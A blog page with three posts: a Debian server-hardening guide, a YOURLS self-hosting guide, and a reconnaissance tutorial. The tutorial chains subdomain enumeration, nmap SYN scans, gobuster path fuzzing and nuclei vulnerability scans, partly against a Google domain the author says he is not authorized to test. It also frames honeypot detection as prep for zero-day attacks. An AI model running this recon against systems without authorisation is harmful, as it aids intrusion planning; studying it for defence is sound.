Category: Blog

Blogpost

Securing Your Debian Server
Hey there, server samurais and cyber sentinels! Ready to transform your Debian server into an impregnable fortress? Whether you’re a seasoned sysadmin or a newbie just dipping your toes into the world of server security, this guide is your one-stop shop for all things safety on the wild, wild web. Buckle up, because we’re about to embark on a journey full of scripts, tips, and jokes to keep things light and fun. There are many good guides on this online, I decided to add another one with the things I usually do. Let’s dive in!

Initial Setup: The First Line of Defense

Imagine setting up your server like moving into a new house. You wouldn’t leave the door wide open, right? The same logic applies here.

Update Your System

Outdated software is like a welcome mat for hackers. Run the following commands to get everything current:
Bash
```
sudo apt update && sudo apt upgrade -y
```
Create a New User

Root users are like the king of the castle. Let’s create a new user with sudo privileges:
Bash
```
sudo adduser yourusername
sudo usermod -aG sudo yourusername
```
Now, switch to your newly crowned user:
Bash
```
su - yourusername
```
Securing SSH: Locking Down Your Castle Gates

SSH (Secure Shell) is the key to your castle gates. Leaving it unprotected is like leaving the keys under the doormat.

Disable Root Login

Edit the SSH configuration file:
Bash
```
sudo nano /etc/ssh/sshd_config
```
Change PermitRootLogin to no:
Bash
```
PermitRootLogin no
```
Change the Default SSH Port

Edit the SSH configuration file:
Bash
```
sudo nano /etc/ssh/sshd_config
```
Change the port to a number between 1024 and 65535 (e.g., 2222):
Bash
```
Port 2222
```
Restart the SSH service:
Bash
```
sudo systemctl restart ssh
```
There is actually some controversy about security through obscurity, in my long tenure as an analyst and incident responser I believe less automated “easy” attacks do improve security.

Set Up SSH Keys

Generate a key pair using elliptic curve cryptography:
Bash
```
ssh-keygen -t ed25519 -C "[email protected]"
```
Copy the public key to your server:
Bash
```
ssh-copy-id yourusername@yourserver -p 2222
```
Disable password authentication:
Bash
```
sudo nano /etc/ssh/sshd_config
```
Change PasswordAuthentication to no:
Bash
```
PasswordAuthentication no
```
Restart SSH:
Bash
```
sudo systemctl restart ssh
```
For more details, refer to the sshd_config man page.

Firewall Configuration: Building the Great Wall

A firewall is like the Great Wall of China for your server. Let’s set up UFW (Uncomplicated Firewall).

Install UFW

Install UFW if it’s not already installed:
Bash
```
sudo apt install ufw -y
```
Allow SSH

Allow SSH connections on your custom port:
Bash
```
sudo ufw allow 2222/tcp
# add more services if you are hosting anything like HTTP/HTTPS
```
Enable the Firewall

Enable the firewall and check its status:
Bash
```
sudo ufw enable
sudo ufw status
```
For more information, check out the UFW man page.

Intrusion Detection Systems: The Watchful Eye

An Intrusion Detection System (IDS) is like a guard dog that barks when something suspicious happens.

Install Fail2Ban

Fail2Ban protects against brute force attacks. Install it with:
Bash
```
sudo apt install fail2ban -y
```
Configure Fail2Ban

Edit the configuration file:
Bash
```
sudo nano /etc/fail2ban/jail.local
```
Add the following content:
Bash
```
[sshd]
enabled = true
port = 2222
logpath = %(sshd_log)s
maxretry = 3
```
Restart Fail2Ban:
Bash
```
sudo systemctl restart fail2ban
```
For more details, refer to the Fail2Ban man page.

Regular Updates and Patching: Keeping the Armor Shiny

A knight with rusty armor won’t last long in battle. Keep your server’s software up to date.

Enable Unattended Upgrades

Debian can automatically install security updates. Enable this feature:
Bash
```
sudo apt install unattended-upgrades -y
sudo dpkg-reconfigure --priority=low unattended-upgrades
```
Edit the configuration:
Bash
```
sudo nano /etc/apt/apt.conf.d/50unattended-upgrades
```
Ensure the following line is uncommented:
Bash
```
"${distro_id}:${distro_codename}-security";
```
For more details, refer to the unattended-upgrades man page.

Again there is also some controversy about this. Most people are afraid that they wake up one night and all their servers are down, because a botched automated update. In my non-professional live with my home IT, this has never happened and even professionally, if we are just talking security updates of an OS like Debian, I haven’t seen it, yet.

User Management: Only the Knights in the Realm

Not everyone needs the keys to the kingdom. Ensure only trusted users have access. On a fresh install probably unnecessary, but good housekeeping.

Review and Remove Unnecessary Users

List all users:
Bash
```
cut -d: -f1 /etc/passwd
```
Remove any unnecessary users:
Bash
```
sudo deluser username
```
Implement Strong Password Policies

Enforce strong passwords:
Bash
```
sudo apt install libpam-pwquality -y
```
Edit the PAM configuration file:
Bash
```
sudo nano /etc/pam.d/common-password
```
Add the following line:
Bash
```
password requisite pam_pwquality.so retry=3 minlen=12 difok=3
```
For more details, refer to the pam_pwquality man page.

File and Directory Permissions: Guarding the Treasure

Permissions are like guards watching over the royal treasure. Make sure they’re doing their job.

Secure /etc Directory

Ensure the /etc directory is not writable by anyone except root:
Bash
```
sudo chmod -R go-w /etc
```
This is heavily dependent on your distribution and may be a bad idea. I use it for locked down environments like Debian LXC that only do one thing.

Set Permissions for User Home Directories

Ensure user home directories are only accessible by their owners:
Bash
```
sudo chmod 700 /home/yourusername
```
For more details, refer to the chmod man page.

Automatic Backups: Preparing for the Worst

Even the best fortress can be breached. Regular backups ensure you can recover from any disaster.

Full disclosure: I have had a very bad data loss experience with rsync and have since switched to Borg. I can also recommend restic. This had nothing to do with rsync in itself, rather how easy it is to mess up.

Install rsync

rsync is a powerful tool for creating backups. Install it with:
Bash
```
sudo apt install rsync -y
```
Create a Backup Script

Create a script to backup your important files:
Bash
```
nano ~/backup.sh
```
Add the following content:
Bash
```
#!/bin/bash
rsync -a --delete /var/www/ /backup/var/www/
rsync -a --delete /home/yourusername/ /backup/home/yourusername/
```
Make the script executable:
Bash
```
chmod +x ~/backup.sh
```
Schedule the Backup

Use cron to schedule the backup to run daily:
Bash
```
crontab -e
```
Add the following line:
Bash
```
0 2 * * * /home/yourusername/backup.sh
```
For more details on cron, refer to the crontab man page.

For longer backup jobs you should switch to a service with timer rather than cron. Here is a post from another blog about it. Since my data has grown to multiple terabyte this is what I do now too

Advanced Security Best Practices

Enable Two-Factor Authentication (2FA)

Adding an extra layer of security with 2FA can significantly enhance your server’s protection. Use tools like Google Authenticator or Authy. I had this on an Ubuntu server for a while and thought it was kind of cool.
1. Install the required packages:
Bash
```
sudo apt install libpam-google-authenticator -y
```
1. Configure each user for 2FA:
Bash
```
google-authenticator
```
1. Update the PAM configuration:
Bash
```
sudo nano /etc/pam.d/sshd
```
Add the following line:
Bash
```
auth required pam_google_authenticator.so
```
1. Update the SSH configuration to require 2FA:
Bash
```
sudo nano /etc/ssh/sshd_config
```
Ensure the following lines are set:
Bash
```
ChallengeResponseAuthentication yes
AuthenticationMethods publickey,keyboard-interactive
```
Restart SSH:
Bash
```
sudo systemctl restart ssh
```
Implement AppArmor

AppArmor provides mandatory access control and can restrict programs to a limited set of resources.
1. Install AppArmor:
Bash
```
sudo apt install apparmor apparmor-profiles apparmor-utils -y
```
1. Enable and start AppArmor:
Bash
```
sudo systemctl enable apparmor
sudo systemctl start apparmor
```
For more details, refer to the AppArmor man page.

Conclusion: The Crown Jewel of Security

Congratulations, noble guardian! You’ve fortified your Debian server into a digital fortress. By following these steps, you’ve implemented strong security practices, ensuring your server is well-protected against common threats. Remember, security is an ongoing process, and staying vigilant is key to maintaining your kingdom’s safety.

Happy guarding, and may your server reign long and prosper!
2025-01-06
YOURLS: The Ultimate Weapon Against Long URLs
Introduction

Let’s face it: long URLs are the bane of the internet. They’re unsightly, cumbersome, and frankly, nobody enjoys dealing with them. Every time I encounter a URL that stretches longer than a Monday morning, I can’t help but cringe. But here’s the silver lining: you don’t have to endure the tyranny of endless web addresses any longer. Introducing YOURLS—the ultimate weapon in your arsenal against the plague of elongated URLs!

Imagine having the power to create your own URL shortening service, hosted right on your own domain, complete with every feature you could possibly desire. And the best part? It’s free, open-source, and infinitely customizable. So gear up, because we’re about to transform your domain into a sleek, efficient, URL-shortening powerhouse!

The Problem with Long URLs

Before we dive into the solution, let’s talk about why long URLs are such a headache. Not only do they look messy, but they can also be problematic when sharing links on social media, in emails, or on printed materials. Long URLs can break when sent via text message, and they’re nearly impossible to remember. They can also be a security risk, revealing sensitive query parameters. In a digital age where brevity and aesthetics matter, shortening your URLs isn’t just convenient—it’s essential.

Meet YOURLS: Your URL Shortening Hero

Enter YOURLS (Your Own URL Shortener), an open-source project that hands you the keys to your own URL kingdom. YOURLS lets you run your very own URL shortening service on your domain, giving you full control over your links and data. No more relying on third-party services that might go down, change their terms, or plaster your links with ads. With YOURLS, you’re in the driver’s seat.

Why YOURLS Should Be Your Go-To URL Shortener

YOURLS isn’t just another URL shortening tool—it’s a game-changer. Here’s why:
- Full Control Over Your Data: Since YOURLS is self-hosted, you own all your data. No more worrying about data privacy or third-party data breaches.
- Customizable Links: Create custom short URLs that match your branding, making your links not only shorter but also more professional and trustworthy.
- Powerful Analytics: Get detailed insights into your link performance with historical click data, visitor geo-location, referrer tracking, and more. Understanding your audience has never been easier.
- Developer-Friendly API: Automate your link management with YOURLS’s robust API, allowing you to integrate URL shortening into your applications seamlessly.
- Extensible Through Plugins: With a rich plugin architecture, you can enhance YOURLS with additional features like spam protection, social sharing, and advanced analytics. Tailor the tool to fit your exact needs.
How YOURLS Stacks Up Against Other URL Shorteners

While YOURLS offers a fantastic solution, it’s worth considering how it compares to other popular URL shorteners out there.
- Bitly: One of the most well-known services, Bitly offers a free plan with basic features and paid plans for advanced analytics and custom domains. However, you’re dependent on a third-party service, and your data resides on their servers.
- TinyURL: A simple, no-frills URL shortener that’s been around for ages. It doesn’t offer analytics or customization options, making it less suitable for professional use.
- Rebrandly: Focused on custom-branded links, Rebrandly offers advanced features but comes with a price tag. Again, your data is stored externally.
- Short.io: Allows custom domains and offers analytics, but the free tier is limited, and you’ll need to pay for more advanced features.
Why Choose YOURLS Over the Others?
- Cost-Effective: YOURLS is free and open-source. No subscription fees or hidden costs.
- Privacy and Security: Since you host it yourself, you have complete control over your data’s privacy and security.
- Unlimited Customization: Modify and extend YOURLS to your heart’s content without any limitations imposed by third-party services.
- Community Support: As an open-source project, YOURLS has a vibrant community that contributes plugins, support, and enhancements.
Getting Started with YOURLS

Now that you’re sold on YOURLS, let’s dive into how you can set it up and start conquering those unwieldy URLs.

Step 1: Setting Up YOURLS with Docker Compose

To make the installation process smooth and straightforward, we’ll use Docker Compose. This method ensures that all the necessary components are configured correctly and allows for easy management of your YOURLS instance. If you’re new to Docker, don’t worry—it’s simpler than you might think, and it’s a valuable tool to add to your arsenal.

Creating the docker-compose.yml File

The docker-compose.yml file orchestrates the services required for YOURLS to run. Here’s the template you’ll use:
docker-compose.yml
```
services:
  yourls:
    image: yourls:latest
    container_name: yourls
    ports:
      - "8081:80" # YOURLS accessible at http://localhost:8081
    environment:
      - YOURLS_SITE=https://yourdomain.com
      - YOURLS_DB_HOST=mysql-yourls
      - YOURLS_DB_USER=${YOURLS_DB_USER}
      - YOURLS_DB_PASS=${YOURLS_DB_PASS}
      - YOURLS_DB_NAME=yourls_db
      - YOURLS_USER=${YOURLS_USER}
      - YOURLS_PASS=${YOURLS_PASS}
    depends_on:
      - mysql-yourls
    volumes:
      - ./yourls_data:/var/www/html/wordpress/user # Persist YOURLS data
    networks:
      - yourls-network

  mysql-yourls:
    image: mysql:latest
    container_name: mysql-yourls
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD}
      - MYSQL_DATABASE=yourls_db
      - MYSQL_USER=${YOURLS_DB_USER}
      - MYSQL_PASSWORD=${YOURLS_DB_PASS}
    volumes:
      - ./mysql_data:/var/lib/mysql # Persist MySQL data
    networks:
      - yourls-network

networks:
  yourls-network:
    driver: bridge
```
Let’s break down what’s happening in this file:
- Services:
- yourls: This is the YOURLS application container. It exposes port 8081 and connects to the MySQL database.
- mysql-yourls: The MySQL database container that stores all your URL data.
- Environment Variables: These variables configure your YOURLS and MySQL instances. We’ll store sensitive information in a separate .env file for security.
- Volumes: Mounts directories on your host machine to persist data even when the containers are recreated.
- Networks: Defines a bridge network for the services to communicate securely.
Step 2: Securing Your Credentials with an .env File

To keep your sensitive information safe, we’ll use an .env file to store environment variables. Create a file named .env in the same directory as your docker-compose.yml file and add the following:
Bash
```
YOURLS_DB_USER=yourls_db_user
YOURLS_DB_PASS=yourls_db_password
YOURLS_USER=admin_username
YOURLS_PASS=admin_password
MYSQL_ROOT_PASSWORD=your_mysql_root_password
```
Pro Tip: Generate strong passwords using the command openssl rand -base64 32. Security is paramount when running web services.

Step 3: Launching YOURLS

With your configuration files in place, you’re ready to bring your YOURLS instance to life. Run the following command in your terminal:
Bash
```
docker compose up -d
```
This command tells Docker Compose to start your services in the background (-d for detached mode). Once the containers are up and running, you can access the YOURLS admin interface by navigating to http://yourdomain.com:8081/admin in your web browser. Log in using the credentials you specified in your .env file, and follow the setup wizard to complete the installation.

Step 4: Securing Your YOURLS Installation with SSL

Security should never be an afterthought. Protecting your YOURLS installation with SSL encryption ensures that data transmitted between your users and your server remains private.

Using Let’s Encrypt for Free SSL Certificates
- Install Certbot: The Let’s Encrypt client that automates certificate issuance.
- Obtain a Certificate: Run certbot with appropriate options to get your SSL certificate.
- Configure Your Reverse Proxy: Set up Nginx or Caddy to handle SSL termination.
My Personal Setup

I use Nginx Proxy Manager in conjunction with an Origin CA certificate from Cloudflare. This setup provides a user-friendly interface for managing SSL certificates and reverse proxy configurations. For some info on Nginx Proxy Manager check out my other post!

Using the YOURLS API to Automate Your Workflow

One of YOURLS’s standout features is its robust API, which allows you to integrate URL shortening into your applications, scripts, or websites. Automate link generation, expansion, and statistics retrieval without manual intervention.

Examples of Using the YOURLS API with Bash Scripts

Shortening a URL
Bash
```
#!/bin/bash

YOURLS_API="https://yourpage.com/yourls-api.php"
API_SIGNATURE="SECRET_SIGNATURE"

# Function to shorten a URL
shorten_url() {
local long_url="$1"
  echo "Shortening URL: $long_url"
  curl -X GET "${YOURLS_API}?signature=${API_SIGNATURE}&action=shorturl&format=json&url=${long_url}"
echo -e "\n"
}

shorten_url "https://example.com"
```
Expanding a Short URL
Bash
```
#!/bin/bash

YOURLS_API="https://yourpage.com/yourls-api.php"
API_SIGNATURE="SECRET_SIGNATURE"

# Function to expand a short URL
expand_url() {
local short_url="$1"
  echo "Expanding short URL: $short_url"
  curl -X GET "${YOURLS_API}?signature=${API_SIGNATURE}&action=expand&format=json&shorturl=${short_url}"
echo -e "\n"
}

expand_url "https://yourpage.com/2"
```
Retrieving URL Statistics
Bash
```
#!/bin/bash

YOURLS_API="https://yourpage.com/yourls-api.php"
API_SIGNATURE="SECRET_SIGNATURE"

# Function to get URL statistics
get_url_stats() {
local short_url="$1"
  echo "Getting statistics for: $short_url"
  curl -X GET "${YOURLS_API}?signature=${API_SIGNATURE}&action=url-stats&format=json&shorturl=${short_url}"
echo -e "\n"
}

get_url_stats "https://yourpage.com/2"
```
Creating Short URLs with Custom Keywords
Bash
```
#!/bin/bash

YOURLS_API="https://yourpage.com/yourls-api.php"
API_SIGNATURE="SECRET_SIGNATURE"

# Function to shorten a URL with a custom keyword
shorten_url_custom_keyword() {
local long_url="$1"
  local keyword="$2"
  echo "Shortening URL: $long_url with custom keyword: $keyword"
  curl -X GET "${YOURLS_API}?signature=${API_SIGNATURE}&action=shorturl&format=json&url=${long_url}&keyword=${keyword}"
echo -e "\n"
}

shorten_url_custom_keyword "https://example.com" "customkeyword"
```
Integrating YOURLS API in Other Languages

While bash scripts are handy, you might prefer to use the YOURLS API with languages like Python, JavaScript, or PHP. There are libraries and examples available in various programming languages, making integration straightforward regardless of your tech stack.

Supercharging YOURLS with Plugins

YOURLS’s plugin architecture allows you to extend its functionality to meet your specific needs. Here are some popular plugins to consider:
- Spam and Abuse Protection
- reCAPTCHA: Adds Google reCAPTCHA to your public interface to prevent bots.
- Akismet: Uses the Akismet service to filter out spam URLs.
- Advanced Analytics
- Clicks Counter: Provides detailed click statistics and visualizations.
- GeoIP Tracking: Adds geographical data to your click analytics.
- Social Media Integration
- Share via Twitter: Adds a button to share your short links directly on Twitter.
- Facebook Open Graph: Ensures your short links display correctly on Facebook.
- Custom URL Keywords and Patterns
- Random Keyword Generator: Creates more secure and hard-to-guess short URLs.
- Reserved Keywords: Allows you to reserve certain keywords for special purposes.
You can find a comprehensive list of plugins in the YOURLS Plugin Repository. Installing plugins is as simple as placing them in the user/plugins directory and activating them through the admin interface.

Alternative Self-Hosted URL Shorteners

While YOURLS is a fantastic option, it’s not the only self-hosted URL shortener available. Here are a few alternatives you might consider:
- Polr: An open-source, minimalist URL shortener with a modern interface. Offers a robust API and can be customized with themes.
- Kutt: A free and open-source URL shortener with advanced features like custom domains, password-protected links, and detailed statistics.
- Shlink: A self-hosted URL shortener that provides detailed analytics, QR codes, and REST APIs.
Each of these alternatives has its own set of features and advantages. Depending on your specific needs, one of them might be a better fit for your project. Based on my experience, YOURLS is by far the easiest and simplest option. I tried the others as well but ultimately chose it.

Conclusion: Take Back Control of Your URLs Today

Long URLs have overstayed their welcome, and it’s time to show them the door. With YOURLS, you have the tools to not only shorten your links but to own and control every aspect of them. No more compromises, no more third-party dependencies—just pure, unadulterated control over your online presence.

So what are you waiting for? Join the revolution against long URLs, set up your YOURLS instance, and start sharing sleek, professional, and memorable links today!
2025-01-06
Certsplotting: Elevating Intelligence – Part 2
Disclaimer:

The information provided on this blog is for educational purposes only. The use of hacking tools discussed here is at your own risk.

For the full disclaimer, please click here.

Introduction

Welcome back to the second installment of our exploration into Certspotter and the world of passive reconnaissance. In Part 1, we laid the groundwork for understanding the significance of Certspotter as a vital tool in monitoring certificate transparency logs. We delved into the nuances of passive reconnaissance, highlighting the importance of discreet operations in gathering intelligence without alerting targets.

Now, in Part 2, we’re ready to dive even deeper. Building upon the foundation established in Part 1, we’ll explore advanced techniques for leveraging Certspotter’s capabilities to their fullest potential. Our focus will be on enriching the data obtained from Certspotter and enhancing our reconnaissance efforts through the integration of additional tools and methodologies.

Join me as I uncover the untapped potential of Certspotter and embark on a journey to uncover valuable insights that will inform and empower your hacking strategies. Let’s dive in and elevate our reconnaissance game to new heights.

Data Enrichment

So, you’ve already gathered a wealth of information about your target. But let’s take it a step further.

Here’s what you want to know:
- What’s running on the new subdomain?
- Any interesting paths?
- Open ports?
- Can we capture a screenshot?
- Are there any potential vulnerabilities?
- Perhaps you have a custom target, like specifically testing for WordPress.
Now, there might be a tool out there that handles all these tasks, but I haven’t found it yet. (Feel free to shoot me a message on Signal if you know one). Instead, I’ve decided to build a tool together with you, right here, right now, leveraging ProjectDiscovery’s Tools, which are awesome open-source projects written in one of my favorite languages: Go.

However, as we transition from passive to active reconnaissance, I must reiterate the importance of reading my disclaimer.

Web Technology:

For this task, we’ll use a tool called Webanalyze.
Bash
```
# Installation
go install -v github.com/rverton/webanalyze/cmd/webanalyze@latest

# Update
$HOME/go/bin/webanalyze -update
```
Now, a quick note: I’m not authorized to recon sandbox.google.com. If, by chance, any of my tools cause a denial of service state on the endpoint, I might be held liable for damages.

To demonstrate, I whitelisted my IP and scanned my own website:
Bash
```
$HOME/go/bin/webanalyze -host exploit.to -crawl 2
 :: webanalyze        : v0.3.9
 :: workers           : 4
 :: technologies      : technologies.json
 :: crawl count       : 2
 :: search subdomains : true
 :: follow redirects  : false

http://exploit.to (0.6s):
    HSTS,  (Security)
    HTTP/3,  (Miscellaneous)
    Cloudflare,  (CDN)
    Astro, 4.5.2 (Static site generator, JavaScript frameworks)
```
For further consumption I suggest using -output json and storing it locally or sending it to your central system.

Screenshot

For this task, we’ll utilize playwright. While some might argue that this is overkill, I have some future plans in mind. You can learn more about playwright here.
Bash
```
npm init playwright@latest
```
Simply respond with “yes” to all the prompts, as having a positive attitude is always beneficial.

Below is a script that captures a full-page screenshot and lists all the network calls made by a loaded page:
JavaScript
```
const { chromium } = require("playwright");

(async () => {
  // Launch browser
  const browser = await chromium.launch();

  // Create a new page
  const page = await browser.newPage();

  // Enable request interception
  await page.route("**", (route) => {
    console.log(route.request().url());
    route.continue();
  });

  // Navigate to the desired page
  await page.goto("https://exploit.to");

  // Take a full-page screenshot
  await page.screenshot({ path: "exploit.png", fullPage: true });

  // Close the browser
  await browser.close();
})();
```
Here’s how you can run the script and check its output:
Bash
```
sudo node screenshot.js

https://exploit.to/
https://exploit.to/_astro/styles.DS6QQjAg.css
https://exploit.to/_astro/hoisted.DfX8MIxs.js
https://exploit.to/_astro/page.BZ5QGxwt.js
https://exploit.to/_astro/ViewTransitions.astro_astro_type_script_index_0_lang.D0ayWLBG.js
https://exploit.to/_astro/index.Vl7qCdEu.js
https://exploit.to/_astro/CryptoBackground.c9l8WxZ_.js
https://exploit.to/_astro/client.B60e5CTm.js
https://exploit.to/cdn-cgi/challenge-platform/scripts/jsd/main.js
https://exploit.to/_astro/index.LHP-L4Pl.js
https://exploit.to/_astro/index.C3GvvkrT.js
https://exploit.to/_astro/jsx-runtime.BoiYzbTN.js
https://exploit.to/_astro/utils.xgzLAuTe.js
```
Open Ports

Understanding the open ports on a target system can provide valuable insights into its network architecture and potential vulnerabilities. To accomplish this, we’ll conduct a quick scan using nmap, a powerful network scanning tool.
Bash
```
sudo nmap -sS -Pn -T4 exploit.to
```
This command initiates a SYN scan (-sS) without host discovery (-Pn) at an aggressive timing level (-T4) against the target exploit.to.

Here’s a breakdown of the scan results:
Bash
```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-25 15:14 CET
Nmap scan report for exploit.to (IP)
Host is up (0.10s latency).
Other addresses for exploit.to (not scanned): IP
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8080/tcp open  http-proxy
8443/tcp open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds
```
The scan reveals the following open ports:
- Port 80/tcp: Open for HTTP.
- Port 443/tcp: Open for HTTPS.
- Port 8080/tcp: Open for HTTP proxy.
- Port 8443/tcp: Open for alternate HTTPS.
Subdomains

Exploring subdomains can uncover hidden entry points and potential vulnerabilities within a target’s infrastructure. Let’s leverage Subfinder for passive subdomain enumeration and HTTPX for validation.
Bash
```
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
```
You can easily pipe the output of subfinder to httpx for further analysis:
Bash
```
$HOME/go/bin/subfinder -d sandbox.google.com | $HOME/go/bin/httpx -status-code -title -tech-detect
```
Here’s a basic setup, but you can fine-tune these flags extensively. Additionally, I recommend integrating free API Keys to enhance subdomain discovery.

In our hypothetical Google case, here are some findings:
Bash
```
https://ecc-test.sandbox.google.com [200] [ECC-capable Certificate Success] [HTTP/3]
https://dry.sandbox.google.com [404] [Error 404 (Not Found)!!1] [HTTP/3]
https://during.sandbox.google.com [404] [Error 404 (Not Found)!!1] [HTTP/3]
https://earth.sandbox.google.com [404] [Error 404 (Not Found)!!1] [HTTP/3]
https://cert-test.sandbox.google.com [200] [Test Success] [HTTP/3]
https://dynamite-preprod.sandbox.google.com [302] [] [HSTS,HTTP/3]
```
The tech detection capabilities are surprisingly robust. In my earlier site example, the results were as follows:
Bash
```
https://exploit.to [200] [Karl Machleidt | Cyber Security Expert] [Astro:4.5.2,Cloudflare,HSTS,HTTP/3]
```
Paths

Now, let’s delve into fuzzing some paths. While tools like Gobuster can handle both subdomain enumeration and directory enumeration, I’d like to showcase some different tools for this task.

For the wordlist, we’ll use Daniel Miessler’s SecLists common.txt.
Bash
```
gobuster dir  --useragent "EXPLOIT.TO" --wordlist "common.txt" --url https://exploit.to
```
Here’s a breakdown of the Gobuster scan results:
Bash
```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://exploit.to
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                common.txt
[+] Negative Status codes:   404
[+] User Agent:              EXPLOIT.TO
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/index           (Status: 308) [Size: 0] [--> /.git/]
/.well-known/http-opportunistic (Status: 200) [Size: 21]
/404                  (Status: 200) [Size: 17047]
/about                (Status: 308) [Size: 0] [--> /about/]
/blog                 (Status: 308) [Size: 0] [--> /blog/]
/contact              (Status: 308) [Size: 0] [--> /contact/]
/disclaimer           (Status: 308) [Size: 0] [--> /disclaimer/]
/feed                 (Status: 301) [Size: 0] [--> https://exploit.to/rss.xml]
/index                (Status: 308) [Size: 0] [--> /]
/index.html           (Status: 308) [Size: 0] [--> /]
/robots.txt           (Status: 200) [Size: 57]
/rss                  (Status: 301) [Size: 0] [--> https://exploit.to/rss.xml]
/search               (Status: 308) [Size: 0] [--> /search/]
/tags                 (Status: 308) [Size: 0] [--> /tags/]
/tools                (Status: 308) [Size: 0] [--> /tools/]
Progress: 4727 / 4727 (100.00%)
===============================================================
Finished
===============================================================
```
These results provide insights into various paths on the target site, facilitating potential avenues for further exploration and potential vulnerabilities.

Vulnerabilities

Vulnerability scanners are notorious for their loud presence, and we have several options at our disposal:
- OpenVAS
- OWASP ZAP
- Nuclei
For this demonstration, I’ll opt for Nuclei, which simplifies custom discovery tasks significantly.

To install Nuclei, execute the following command:
Bash
```
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
```
Using Nuclei without specifying templates to use can generate excessive traffic. Here’s an example command specifying templates:
Bash
```
$HOME/go/bin/nuclei -target exploit.to -t http/cves/ -t ssl
```
Running Nuclei with all available templates can uncover a plethora of issues. However, be cautious, as this scan can be aggressive. Here’s an example scan of my website. Note that running such a scan on unauthorized targets is not recommended:
YAML
```
[nameserver-fingerprint] [dns] [info] exploit.to [jonah.ns.cloudflare.com.,uma.ns.cloudflare.com.]
[caa-fingerprint] [dns] [info] exploit.to
[dmarc-detect] [dns] [info] _dmarc.exploit.to ["v=DMARC1; p=reject; sp=reject; adkim=s; aspf=s; rua=mailto:[email protected];"]
[mx-fingerprint] [dns] [info] exploit.to [54 route1.mx.cloudflare.net.,84 route2.mx.cloudflare.net.,98 route3.mx.cloudflare.net.]
[txt-fingerprint] [dns] [info] exploit.to ["v=spf1 include:_spf.mx.cloudflare.net ~all"]
[spf-record-detect] [dns] [info] exploit.to [v=spf1 include:_spf.mx.cloudflare.net ~all"]
[dns-waf-detect:cloudflare] [dns] [info] exploit.to
[INF] Using Interactsh Server: oast.fun
[addeventlistener-detect] [http] [info] https://exploit.to
[xss-deprecated-header] [http] [info] https://exploit.to [1; mode=block]
[metatag-cms] [http] [info] https://exploit.to [Astro v4.5.2]
[tech-detect:cloudflare] [http] [info] https://exploit.to
[http-missing-security-headers:content-security-policy] [http] [info] https://exploit.to
[http-missing-security-headers:permissions-policy] [http] [info] https://exploit.to
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] https://exploit.to
[http-missing-security-headers:clear-site-data] [http] [info] https://exploit.to
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] https://exploit.to
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] https://exploit.to
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] https://exploit.to
[robots-txt-endpoint] [http] [info] https://exploit.to/robots.txt
[waf-detect:cloudflare] [http] [info] https://exploit.to/
[ssl-issuer] [ssl] [info] exploit.to:443 [Google Trust Services LLC]
[ssl-dns-names] [ssl] [info] exploit.to:443 [exploit.to]
```
Let’s break down some of the identified vulnerabilities from the Nuclei scan results:
1. nameserver-fingerprint [dns]: This vulnerability detection identifies the nameservers associated with the domain exploit.to, revealing that it is using Cloudflare’s nameservers (jonah.ns.cloudflare.com and uma.ns.cloudflare.com). While not necessarily a vulnerability, this information can be useful for reconnaissance purposes.
2. caa-fingerprint [dns]: This indicates the absence of CAA (Certificate Authority Authorization) records for the domain exploit.to. CAA records specify which certificate authorities are allowed to issue certificates for a domain. Lack of CAA records might imply less control over certificate issuance, potentially leaving the domain vulnerable to unauthorized certificate issuance.
3. dmarc-detect [dns]: This detection reveals the DMARC (Domain-based Message Authentication, Reporting, and Conformance) policy for the domain _dmarc.exploit.to. The policy specifies how a receiving mail server should handle emails that fail SPF (Sender Policy Framework) and DKIM (DomainKeys Identified Mail) checks. In this case, the policy is set to “reject,” indicating strict handling of failed authentication, which is generally considered good practice.
4. mx-fingerprint [dns]: This vulnerability detection identifies the mail servers (MX records) associated with the domain exploit.to, which are provided by Cloudflare. While not necessarily a vulnerability, this information can be useful for understanding the email infrastructure associated with the domain.
5. txt-fingerprint [dns]: This reveals the SPF (Sender Policy Framework) record for the domain exploit.to, specifying which servers are allowed to send emails on behalf of the domain. The record indicates that emails should be sent only from servers included in the _spf.mx.cloudflare.net include mechanism.
6. waf-detect:cloudflare [http]: This detection indicates the presence of a WAF (Web Application Firewall) provided by Cloudflare for the domain exploit.to. WAFs help protect web applications from common security threats such as SQL injection, cross-site scripting (XSS), and DDoS attacks.
7. ssl-issuer [ssl]: This reveals information about the SSL certificate issuer for the domain exploit.to, which is Google Trust Services LLC. SSL certificates issued by reputable authorities help establish secure HTTPS connections, ensuring data transmitted between the user’s browser and the web server remains encrypted and secure.
These are just a few examples of the vulnerabilities and configurations identified in the Nuclei scan results. Each of these findings provides valuable insights into potential security risks and areas for improvement in the domain’s infrastructure and configuration.

Custom

Now, let’s illustrate a simple example:
Bash
```
$HOME/go/bin/nuclei -target exploit.to -t http/honeypot/elasticpot-honeypot-detect.yaml
```
Imagine you’re interested in scanning for Elastipot, Elasticsearch honeypots. Identifying these honeypots beforehand can be crucial before launching any new zero-day attack on open Elasticsearch instances. While creating custom templates for such detections isn’t overly complicated, it allows you to tailor detection scripts to your specific needs. Alternatively, you can employ Gobuster, as mentioned earlier, to test for specific paths.

Recon Data

We’ve successfully gathered all the desired data:
- Identification of services running on new subdomains.
- Open ports analysis.
- Screenshot capture.
- Discovery of interesting paths.
- Identification of possible vulnerabilities.
- Custom targeting, such as explicit testing for WordPress.
We now know that our target is developing a new project, the technolgies used, possible vulnerabilities, interesting paths, have a screenshot and more.

Summary

We explored various reconnaissance techniques, from subdomain enumeration and directory scanning to vulnerability assessments and customized detections. Leveraging tools like Certspotter, Gobuster, Nuclei, and others, we gained profound insights into our target’s infrastructure and potential security vulnerabilities.

